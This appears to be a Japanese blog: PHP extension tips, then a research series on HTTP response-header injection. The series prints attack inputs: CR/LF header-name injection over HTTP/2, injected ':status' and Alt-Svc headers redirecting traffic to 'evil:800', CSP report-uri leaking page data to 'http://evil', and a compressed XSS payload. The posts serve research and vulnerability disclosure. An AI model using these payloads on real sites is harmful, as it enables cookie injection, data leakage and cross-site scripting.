PHPのExtensionのTips ― ZEND_STRLマクロ

PHPのExtensionを作る時に、モヤっとするところ。

$obj->type = 123;

上のPHPコードをExtensionにすると、下のC言語のコードになります。

zend_update_property_long(Z_OBJCE_P(obj), obj, "type", sizeof("type")-1, 123);

モヤッとするのは"type"を二回書かなければならないところです。

ですが、最近になってZEND_STRLマクロを発見しました。

このマクロを使うと、

zend_update_property_long(Z_OBJCE_P(obj), obj, ZEND_STRL("type"), 123);

となり、同じことを2度書かなくてよくなります。

この辺のマクロの定義はZend/zend_portability.hの中にされています。

#define ZEND_STRL(str)      (str), (sizeof(str)-1)
#define ZEND_STRS(str)      (str), (sizeof(str))

確かにマクロでできるよね~、マクロってすごいね~、という感じですが、C言語力が低い私は今まで律儀に2度書いてました。

もうひとつモヤッとするのは参照カウントです。

  • zend_update_property() ― オブジェクトにzvalを追加する
  • add_assoc_zval() ― 配列にzvalを追加する

上の2つはある意味で似ている機能ですが、前者ではzvalの参照カウントは上がり、後者だと上がらないという違いがあり、この辺を間違うとメモリリークや解放済みメモリの参照のようなバグになります。

Extension開発(PHP7以降)でつらいのは、上のようなものを含めて情報(特にリファレンス的に使えるもの)が少ないことです。(Extensionではなく)PHP本体の方はドキュメントが充実しているので、それと比べると雲泥の差があります。まあ、そもそもの話として「PHPソースコードをサクサク読めるような人以外は、Extensionを作らない方が良い」というのはあるかもしれませんが、私のようなたまにしかExtensionをいじらない人にとっては割と難儀するところです。


参考:Extension開発をするにあたり有用なサイト(PHP7)を挙げておきます。

Writing PHP Extensions(Zend社)

PHP Internals Book(PHPの開発者)

PHP Extension 開発入門(Michihide Hotta氏)

C言語で書くのはヒリヒリする感じがして好きなので、これからも精進しようと思います。

PHP Extension(C/C++)の中でPHPのコードを実行する

PHPで処理速度を上げたい時や、メモリ使用量を減らしたい時に、「C/C++でExtensionを自作する」という最終手段があります。

Extensionは非常に強力ですが、一方でどうしようもなく開発効率が悪い。

そういう意味で、C/C++のExtensionの中でPHPを実行したいこともある(かもしれません)。

そんな時に使えるのがzend_eval_string()です。

本来であれば下のようなコードを書かなければならないところを...

PHP_FUNCTION(foobar_test)
{
    zval zv;

    // zvを [10,20,30] という配列にしたい!
    array_init(&zv);
    add_next_index_long(&zv, 10);
    add_next_index_long(&zv, 20);
    add_next_index_long(&zv, 30);

こんな風に書ける。

#include <zend_execute.h>

PHP_FUNCTION(foobar_test)
{
    zval zv;

    // 1行で [10,20,30] ができる!
    zend_eval_string("[10,20,30]", &zv, "test desukara");

関数名から分かるようにeval()しているのと同じです。

当然ですが、

  • 性能のためにC/C++にしているのに、PHPを実行したら本末転倒になる
  • 動的にPHPコードを作ると脆弱性になる可能性がある

という問題はあります。ただし、込み入った連想配列を定義するときなどに使えば楽だろうなとは思います(個人的には使ったことないですが)。

ちなみに、PHP本体(7.4)のソースコードzend_eval_stringgrepすると、下のものを含めていくつかヒットしました。

PCREのe修飾子はPHP7で廃止されたんですが、mb_ereg系ではまだ現役で使えるようです(知らなかった)。

HTTPヘッダについての調査(4/?)

1回目2回目3回目、の続き。前提条件はこれまでと同じ。

ブラウザ以外で処理されるヘッダ

前回のHTTP/2についての記事の中でCGIStatusヘッダに少し触れたので、ブラウザ以外(サーバやリバースプロキシ)で処理される応答ヘッダについて書く。

その種のヘッダには以下のようなものがある。

  • Status: 404 ... CGI環境などで応答ステータス変更
  • X-Sendfile: /etc/hosts ... Sendfileが有効な環境でサーバ上のファイルを取得
  • X-Accel-Redirect: /internal/secret ... nginxの内部リダイレクトで非公開ファイルを取得

他にもWebサーバや中間の機器で処理されうるヘッダというのは多くあるだろう。ただし、この手のものはサーバやリバースプロキシがヘッダとして解釈しなければならないので、LFが入ることが条件になることが多いと思われる。

ところで、普通のHTTPヘッダインジェクションは他人に踏ませる受動的な攻撃だが、Sendfileなどでは能動的な攻撃になりうる。この辺は、XSSが能動的なSSI(Server Side Includes)インジェクションなどに化けることがあるのに似ている。

HTTP/2におけるHTTPヘッダインジェクション

前記事でHTTP/2の話が出たので、ちょっと脱線して「HTTP/2におけるHTTPヘッダインジェクション」に関連して行った実験について書く。

既に何年も前に語られているように(abend氏, yasulib氏)、HTTP/2では「ヘッダの区切り文字」という概念は無くなっているものの、HTTP/2を使うWebアプリケーションでもCR/LFを使ったヘッダインジェクションの可能性はある。

実験

HTTP/2のヘッダに改行を含めた不正な応答をサーバからブラウザに送り、ブラウザ側の挙動を調べる実験を行った。上述のようにHTTP/2では「区切り文字」という概念は無いため、改行等を入れた応答ヘッダを作れる。

今回の実験では、HTTP/2のヘッダの値に加えてヘッダ名についても改行を入れてみた。

結果は下のとおり。

  • Chrome/Safari/IE
    • エラー画面を表示した(期待通り)。
  • Firefox
    • ヘッダ値に含まれる改行をスペース(0x20)に変換する。
    • ヘッダ名に改行を入れることで、新たなヘッダを作り出せる。

ヘッダ名に改行を入れた例を下に挙げる。

aaa:aaa[0x0D][0x0A]set-cookie:hello=111;path=/;

サーバから上のようなHTTP/2応答のヘッダ名を受け取ると、Firefoxは改行の後のset-cookieを新たなヘッダとして解釈してしまった。FirefoxはHTTP/2のヘッダをhttp/1.1のテキスト形式にした上でparseをしているが、テキストにする際のチェックが漏れていたのだろう。

ちなみにFirefoxHttp2Compression.cpp内でヘッダをhttp/1.1のテキストにしているようだ。そんな処理をするのかと意外な感じがしたが、工数を減らすために同様の方式にしている実装は割とあるのかもしれない。

HTTPヘッダインジェクションの文脈で(ヘッダ値ではなく)ヘッダ名をいじれる状況は殆どありえないし、変なヘッダ名をHTTP/2ヘッダにそのまま送り込むようなWebアプリケーション実行環境が存在するか甚だ疑問ではあるが、一応この問題をMozillaに報告したところ、既に別の方が「スペース等がヘッダ名に許されている」というバグを報告していることが分かった。先日リリースされたFirefox 93からはエラー画面を表示するよう変更されている。

なお、Firefoxに関してはこの辺のチェックが緩かったようで、v92にてHTTP/3のヘッダインジェクションも修正されている。

HTTP/2の仕様

HTTP/2の仕様(RFC 7540)はどうなっているかと言うと、10.3等に規定がある。

  • ヘッダ値にCR, LF, NULが含まれる場合はmalformedと扱う。
  • ヘッダ名についてもhttp/1.1的に不正なものはmalformedと扱う。

当然、http/1.1の仕様はヘッダ名に改行文字を許可していないので、ヘッダ名/値ともに改行が含まれるならば何らかのエラーとしなければならない。

ちなみに「malformedと扱う」のは個々のヘッダではなくて要求/応答メッセージ全体であり、クライアントであればエラー画面を表示し、サーバであればステータス400等を応答するべきなのだろう。

HTTP/2固有の応答ヘッダ

最後に、HTTP/2に特有のヘッダで、ヘッダインジェクションで使えるものがあるか?という点について。

例えば、前記事のAlt-Svcは、ChromeではHTTP/2でしか動かないようなので、ChromeにとってはHTTP/2に特有のヘッダと言える。他に何かHTTP/2特有のヘッダがあったかなと思ってざっと見直してみた。結論を言うと「今のところ使えそうなものは無さそう」なのだが、一応調べたことを書いておく。

HTTP/2のヘッダとしては以下の2種類がある。

  • 通常のヘッダ
  • 疑似ヘッダ

まず通常のヘッダをざっと調べたがめぼしい情報は見つからなかった。

次の疑似ヘッダだが、これは先頭に:が付いたHTTP/2固有のヘッダだ。応答で使える疑似ヘッダは:statusの1つのみだが、これをうまく使えば(CGIstatusヘッダと同じように)応答のステータスコードが変えられるかもと思い、NginxのCGIで試してみた。

ヘッダインジェクションがあるCGIに、以下のパラメータを与える。

redirect=ZZZZZ%0D%0A:status: 200

CGIプログラムはパラメータの値をLocationヘッダに出力する。

サーバが出力する応答ヘッダの全体は以下のようになる(HTTP/1的な形式で表現)。

:status: 302
server: nginx/1.20.1
date: Tue, 21 Sep 2021 14:59:34 GMT
content-type: text/html; charset=iso-8859-1
location: ZZZZZ
:status: 200  ← インジェクトされた部分

CGIなので単一のHTTP/2ヘッダの中に改行が入るのではなく、インジェクトした:statusは独立したヘッダとなる。

意図どおり応答には2つの:statusが含まれるが、全てのメジャーブラウザがこの応答をエラーとした。これはおそらく、HTTP/2仕様(8.1.2.1)の「疑似ヘッダは通常のヘッダより前に位置しなければならない」というチェックをブラウザが行っているためだろう*1

ちなみにBurp経由にすると、下のようにBurpのEvent logに「Normalized malformed HTTP/2 response」というメッセージが出る。

f:id:teracc:20211007145022p:plain

しかし、Burpが2つ目の:statusに一本化する形で正常なヘッダに書き換えるため、ブラウザに届くのは正常なステータス200の応答になる。要はBurpがある時だけは:statusヘッダのインジェクションは成功する。

調べていないが、一般のリバースプロキシ等で同じような挙動をするものも、ひょっとしたらあるかもしれない(ただし、使える可能性で言えば、:無しのstatusヘッダの方が大きいだろう)。

診断の観点では、HTTP/2においては「Burpを挟んでいる時だけ動作するHTTPヘッダインジェクションのPoC」というのが存在するので気に留めておく必要があるかもしれない(BurpはHTTP/1でも応答をnormalizeするので、HTTP/2でも/1でも発生しうることではある)。

*1:本来は、ヘッダを出力するWebサーバ側でも、何らかのチェックが必要なのだろう。

HTTPヘッダについての調査(3/?)

1回目2回目の続き。前提条件はこれまでと同じ。

代替サービス (Alt-Svc)

ChromeFirefoxは、代替サービス(Alternative Services, RFC7838)のAlt-Svcヘッダをサポートしている。

下が正常なAlt-Svc応答ヘッダの例である。

Alt-Svc: h2="example.jp:443"; ma=864000000; persist=1

ヘッダの意味は下のとおり。

  • h2 ... ALPNのプロトコル
  • example.jp:443 ... 代替サービスのホスト:ポート
  • ma ... maxage=設定を維持する秒数
  • persist ... ネットワーク環境の変更後もこの設定を維持するかのフラグ

ブラウザは30XのHTTPリダイレクト応答でもこのヘッダを解釈する。ブラウザはこの応答ヘッダに出くわすと、それ以降はそのオリジンへの要求パケットの送り先を代替サービスのホスト:ポートに変更する*1

動作のイメージとしては、

  • サーバへの通信を曲げる(DNSのCNAMEや、iptablesを使うのに似ている)。
  • プロトコルのアップグレード。

がセットで行われるような感じである。

Chromeはh2→h3へのアップグレードのみが可能っぽいので、この記事ではFirefoxの挙動について見てみる。

Firefoxが対応しているのは、*→h3に加えて以下のパターンだと思われる。

  • http/1.1 TLShttps) → h2
  • http/1.1 TCP(http) → h2

1つ目はHTTPS(http/1.1)の応答に、2つ目はHTTPの応答にAlt-Svcが付いているパターンだ。それぞれについて見ていくが、

  • 「target」というホストにあるHTTPヘッダインジェクションを使い
  • Alt-Svc: h2="evil:800"のような応答ヘッダを入れる

という前提で話を進める。

http/1.1 TLS (https) → h2

http/1.1 TLSとh2の振り分けは、通常はTLSのハンドシェイク時にALPNにより行うため、Alt-Svcヘッダでh2に上げる必要性は余りないと思われるが、Firefoxはこれを許している(http/1.1 TLSとh2を別のポートで提供するような場合にはこのヘッダを使える)。

ブラウザはAlt-Svc: h2="evil:800"ヘッダを受けると、以降の当該サーバへの接続時には、evil:800にh2で接続する。その際の要求メッセージの中身はAlt-Svcが無い時とほぼ同じである。

Alt-Svcヘッダを出力したホストを「target」とすると、

  • HTTP要求ヘッダのホストやTLSのSNIは「target」である。
  • 要求のCookieヘッダには「target」向けのCookieが含まれる。

同様に応答は、

  • オリジンは「https://target」のままである。
  • リソースのブラウザキャッシュのキーは「https://target」から取得した場合と等しくなる。

つまり、HTTP的な要求/応答の扱いはそのままに、それを送るプロトコルとパケットの送り先だけすり替える形となる。

セキュリティ的に言うと、evil:800はTLSのハンドシェイクの際に(evilではなく)targetのサーバ証明書を提示する必要がある。当然サーバ証明書のチェックはあるため、evil:800は(対象サーバのSSL秘密鍵を持っている時を除き)通信の中身を窃取/改竄できない。

しかし、攻撃者が鍵を持っていなくても、対象のホストにh2に対応したポートがあるならば、単純にそのポートにevil:800からパケットを流す構成にできる。

                                 target                evil

Browser <----------------------- http/1.1 TLS (443)
         Alt-Svc: h2="evil:800"

        ---------------------------------------------> Port forward
                                 h2 (8443) <---------- (evil:800 to target:8443)

つまり、流し込む先のh2のポートさえあれば、攻撃者は物理的に通信経路上にいなくても、Alt-Svcを入れることによって永続的/一時的に中間者の位置に収まることができる。通信内容の窃取/改竄はできなくても、ユーザがいつ対象サービスにアクセスしたかくらいは把握できる。

パケットを流す先の「h2に対応したポート」は別のホストのポートにもなりうる。例えば、ヘッダインジェクションがあるのが「target.example.jp」であり、「sandbox.example.jp」のような別のサブドメインのホスト上でh2が提供されているならば、そちらにパケットを流す手もある。

もちろん別のホストにパケットが流せるのは、

等の条件を満たす時に限られるが、その場合は「target」のリソースの全部/一部*2が「sandbox」から提供される、という妙な状態を作り出せる。「target」側のリソースにはアクセスできなくなるという意味でのDoSになるし、状況によっては他の攻撃につなげられることもあるかもしれない。

さらに、ALPACA的なクロスプロトコル攻撃、つまりTLS上でHTTP以外のアプリケーションを提供するポート(SMTP, POP, FTP等)にパケットを流す攻撃も考えられる。しかし、代替サービスの仕様的には「Alt-Svcで指定されたプロトコル名(h2やh3)のみで代替サービスに接続する」のがMUSTになっている。プロトコル名のチェックがあれば、SMTPサーバ等への接続はSSLのハンドシェイクの段階で失敗する。

ところで、仕組み的に当然であるが、Alt-Svcを入れる攻撃の効果はDNSをいじる攻撃と似ている。実際、DNSをいじれるのであれば、クロスプロトコル攻撃を含め、上に書いた攻撃は成立しうる。ただしAlt-Svcでは、

  • ヘッダを入れる対象はhttp/1.1のみ
  • パケットを流す先はh2のみ

という制約が生じるため、意味のある攻撃が組み立てられる状況はDNSと比べて大きく限定される。

http/1.1 TCP (http) → h2

TCP→h2は「Opportunistic Security for HTTP/2」(RFC8164)を実装している。日本語で言うと日和見暗号であり、通信経路上にアクティブな攻撃者はいない状態で、パッシブな攻撃者によるデータの盗み見を防ぐものだ。現状この仕様を実装しているのはFirefoxのみである。

後述するように、ヘッダインジェクションの文脈では、この仕組み(TCP→h2)を攻撃に使うのは困難だと思われるが、私個人として初めて知った仕組みなのでメモを兼ねて概要を書く。

Firefoxは、TCP接続でAlt-Svc: h2="evil:800"ヘッダに出くわすと、それ以降はアドレスバーのURLを「http://target/」のままとしながら、サーバへの通信はh2(TLS)にし、そのパケットはevil:800に送るようになる。

h2に載る要求メッセージの中身は、TLS→h2の場合と同じく、Alt-Svcが無い時とほぼ変わらない。特筆すべきは、h2(TLS)通信であるにもかかわらず、

  • secure属性を持つCookieはサーバに送られない。
  • SSLのクライアント証明書は提示されない。
  • h2の:schemehttpになる。
  • リソースのブラウザキャッシュのキーは「http://target」から取得した場合と等しくなる(リバースプロキシ等でのキャッシュの扱いには混乱があるかもしれない)。

となる点である。

無条件で代替サービスを指定されてもまずいので、以下のセキュリティ機構がある。

  • 日和見暗号だが、ブラウザはサーバ証明書を検証する。
    代替サービスは「target」のサーバ証明書を提示しなければならない。
  • .well-known URLによるOpt-inがある。
    ブラウザはh2側から所定の.well-knownのJSONを取得して、それが然るべき内容でなければAlt-Svcの指定を無視するようになっている*3

Opt-inがあるのは、「HTTPSのリソースにHTTPのオリジンを与える」かつ「永続的に影響を及ぼす」という、ある意味で危うい仕組みであるためだろう。

これが日和見暗号であるのは、最初のTCPで送られるAlt-Svcヘッダがアクティブな攻撃者により消された場合に、h2への切り替え自体がされなくなるためだ。他のプロトコルでの「STARTTLSが潰されたらダメ」みたいのと同じである。

仕様策定の初期段階では、ヘッダ名はAlt-SvcではなくHTTP-TLSであり、TLSサーバ証明書の検証はoptionalだったようだ。最終的にAlt-Svcと統合され、証明書の検証も必須となった。正規の証明書を用意するくらいならば、大抵の場合はOpportunistic SecurityではなくHTTPSを普通に使えばいいわけで、ユースケースが減ってしまったように見受けられる*4

仕組み的には面白いのだが、ユースケースが殆どなく、対応ブラウザもFirefoxのみであるため、殆ど普及していない機能であると考えられる。したがって.well-knownを置いているホストもまず無いだろうが、上述のようにh2側に.well-knownが無いとそもそも利用できない仕組みである。そのため、HTTPヘッダインジェクションの文脈において、TCP→h2を攻撃に用いるのは困難だろう。


残りの分はまた別途記事にしたい。

*1:仕様的には、代替サービスに接続できない場合はフォールバックして元のサーバに接続することが許されている。

*2:「一部」というのは、例えばAlt-Svcが付いている応答(HTML)は元のサーバから提供され、そこからロードするJSやCSSは代替サービス側から読み込まれる、みたいな状況を指している。

*3:/.well-known/http-opportunistic。Firefoxでは元のTCPとh2の両方で.well-knownチェックを行なう。

*4:ついでに言うと、Firefoxの実装では、http/1.1 TLSのポートは代替サービスに指定できない。指定できるのはh2/h3のみなので使いづらい。

試しにPro版に切り替え

はてなブログを試しにPro版に変えてみました。

今さらながら独自ドメイン使ってみようかと思ったのと、記事が殆どGoogle検索にインデックスされないことに気が付いたからです(インデックスされないのは無料版だからなのか、よく分からないですが)。

少なくともBloggerだと無料なので(ただBloggerではMarkdownが使えない)、はてなの月1000円は他と比べて高いような気もしますが、10年以上無料で使ってきたのでまあいいかなと。

Blog書く機会が減ったら、Proをやめて元に戻すかもしれません。

HTTPヘッダについての調査(2/?)

前回の続きのエントリ。前提条件は前と同じ。

CSRF (Refresh, Link, Content-Security-Policy)

ヘッダが入るページを起点として、同じオリジンの他のページにCSRFできないか?という文脈の話。トークンで対策しているなら攻撃の可能性は無いが、SameSiteのCookieや、Referer/Originなどの要求ヘッダを使い対策している場合には、可能性が出てくる。

以下はLinkヘッダを入れた例。

Link: </target.cgi?a=1&b=2>; rel=preload; as=script; crossorigin

ChromeSafariでは上のヘッダにより、下の3条件を満たす要求をtarget.cgiに送れる。

  • SameSite=Strictを含むCookie付き
  • Referer付き
  • Origin付き

問題はLinkRefreshではGETの要求しか送れないことだが、下のようにCSPの違反レポートを使えばPOSTで送れないこともない。

Content-Security-Policy-Report-Only: script-src 'none'; report-uri /target.cgi?a=1&b=2
Link: </>; rel=preload; as=script  ← CSPの違反を引き起こすため

要求ボディがapplication/csp-reportJSONではあるものの、Chromeでは上の3条件を満たすPOSTの要求をreport-uriに送れる*1。POSTでありさえすればよくて、パラメータがクエリストリングにあるかボディにあるかを気にしないアプリが相手ならば、この要求を受け入れるかもしれない。

Policy (Content-Security-Policyなど)

ヘッダでページにPolicyを課す方法はいくつかある。代表的なものはCSPであるが、最近は数が増えてDocument-Policy, Permissions-Policy, Referrer-Policy, Feature-Policyなどもある。ここでは、CSPを使ってヘッダが付いたページの機密性や完全性に影響を及ぼせないか考えてみる。

まずは機密性、つまりCookieSameSite=Laxの時に、CSPを使いボディを窃取する攻撃について考える*2。攻撃としては、都合の良いCSPルールをヘッダに入れて、攻撃者のサーバに違反レポートを送ってレポートに含まれる情報を取る、という流れになる。

下が簡単なCSPの例。

Content-Security-Policy-Report-Only: default-src 'none' 'report-sample'; report-uri http://evil

CSPでブロックされたURLは、レポートに"blocked-uri": "http://example.jp/x/y?a=1111"のように出る*3

また、ChromeFirefoxがサポートしているreport-sampleを使うと、違反したJS/CSSの中身がレポートに出る。例えば"script-sample": "var secret = 1234"のような感じ。ただ、出力されるのは先頭40字までなので、それを超える部分が欲しければCSPのhashで当てていくしかない。

このようにCSPのレポートを情報収集に使えるが、得られるのはCSPの制約が及ぶ範囲、つまりURLとインラインのJS/CSSの情報のみ*4

次に完全性について。CSPのhashを使うと、選択的にインラインのJSを生かしたり殺したりできる。下の例ではonclickによる入力チェックをCSPで無効化すると、hrefでJSを動かせる。

<a href="javascript:..." onclick="return !!this.href.match(/^https?:/)">link</a>

インラインのJSだけでなく、外部のJSをscript-srcを使ってファイル単位で潰したり、JSの特定の機能の使用をsandboxで禁止したりして、JSプログラムの実行フローにある程度影響を与えることも考えられる*5。しかし、いずれにしてもXSSにつなげられるような都合の良いプログラム構造を持っているページは稀だろう。

[×] 完全性チェック (Link, Content-MD5, Digestなど)

Linkヘッダを入れて、同じオリジンの別のページの内容をSRI(Sub Resource Integrity)で推測する手も考えられる。

Link: </anotherPage.cgi>; rel=preload; as=script; integrity=sha256-(hash)

ページとサブリソースが同じオリジンならば、サブリソース側にCORSヘッダが無くても完全性チェックが働くし、SameSiteのCookieもサブリソースに送られる。

完全性チェックの結果からは、リソースの中身に関する1bitの情報が得られる。問題はその1bitを攻撃者が入手できるか。少し考えてみたが、SRI自体にはレポーティングの仕組みは無いので、他のヘッダとの組合せやサイドチャネル攻撃などのトリッキーなことをしないと入手できず、やれる状況はかなり限られると思われる。SRIにもレポーティングの仕組みを作ろうという議論は一応あるので、もしそれが実装されたらSRIで情報収集できるかもしれない。

CSPには完全性チェック(hash)を行い、結果をレポーティングする仕組みがある。しかし前述のようにインラインのJS/CSSのみが対象になる。CSP Level 3からは外部のリソースにもhashが使えるけれども、SRIのintegrity属性値との整合をチェックするだけなので、任意のサブリソースのハッシュを突き止めるような用途には使えない*6

他にも完全性に関連するものでは、Content-MD5, Digest, Integrityなどのヘッダもある。これらは、サブリソースではなくメインのリソースの完全性チェックを行うためのものだが、現状は動作しないようだ。

ボディのエンコード (Content-Type, Content-Encoding)

Mediaタイプがいじれるなら、下記のようにHTMLにして、さらに必要ならUTF-7にする。

Content-Type: text/html; charset=UTF-7

UTF-7IE限定。IEで、ボディもある程度操作できるならば、XSSできることが多いだろう。IE以外については、ブラウザがサポートする文字コードが昔に比べて減ったため、候補はISO-2022-JPくらいしか無さそうで、XSSに持ち込める状況は限られるだろう。

次はContent-Encodingとの合せ技でのXSS。対象がJSONPであり、ボディ先頭のコールバック関数名(英数文字列)を自由に決められると想定する。

下の例では、Mediaをtext/htmlにし、圧縮をdeflateにした上で、英数になるよう圧縮したXSSペイロードをコールバック関数名の箇所に入れている。

Content-Type: text/html
Content-Encoding: deflate

D0Up0IZUnnnnnnnnnnnnnnnnnnnUU5nnnnnn3Snn7CiudIbEAt3swWptDDDtwGt0www03stDwttDG333333swwG03333gFPacKevmMumYyQYuECSNkUMymkAmCUeUMn1D0Up0IZUnnnnnnnnnnnnnnnnnnnUU5nnnnnn3SnnwWNqdIbe133333333333333333WfF03sTeqefXAoooo...(省略)...oooo888888888888888880pr05({"test":"1234"})

ボディをinflateすると<svg onload=alert(window.origin)>...になる。

見てのとおり、上の攻撃はRosetta Flashの変形版みたいなもので、圧縮された英数文字列はRosettaのコードを少しいじれば作れる。

なお、通常は元々の応答にContent-Typeが含まれているので、インジェクトにより複数の同名のヘッダができるかもしれない。その場合、IEは最初、他のブラウザは最後のものを使用する。

[×] Base URL (Content-Location, Content-Base)

もしヘッダでBase URLを変えられるならば、下のように相対URLを使うページでXSSできる。

<script src="/js/jquery.js">

昔のHTTP仕様(RFC2068, RFC2616)では、Content-Location(またはContent-Base)ヘッダでBase URLを指定できることになっていた。しかし、時とともに仕様は変化して、今のRFC7231では両ヘッダともその機能を失っている*7

今回調査でも試してみたが、やはり最新のブラウザではこれらのヘッダでBase URLを指定することはできなかった。これらが効くのはMHTMLの内側のヘッダ(HTTPボディ内)だけのようだ。

ちなみにCSPのbase-uriにより、元のHTMLにあるbaseタグを無効にはできるが、任意の値にセットすることはできない。


残りの分はまた別途記事にしたい。

*1:report-uriはdeprecatedであるが、新しいreport-toとは違ってpreflight無しで要求を送れるという性質がある。

*2:もしCookieのSameSiteがNoneであるならば、前回記事のfetch/XHRで中身を取ればよい。

*3:CSPの仕様により、リダイレクト後の別オリジンのURLの取得には制限がある。

*4:正確には、report-sampleが有効ならば、(外部のJS内で実行されたものを含めて)evalされた内容の先頭40文字もレポートされる。

*5:Feature-Policy, Permissions-Policyでも、JSの特定の機能を制限できる。

*6:integrity属性の値を突き止める用途には使える。

*7:Content-Locationの仕様の変遷はStack Overflowが分かりやすい。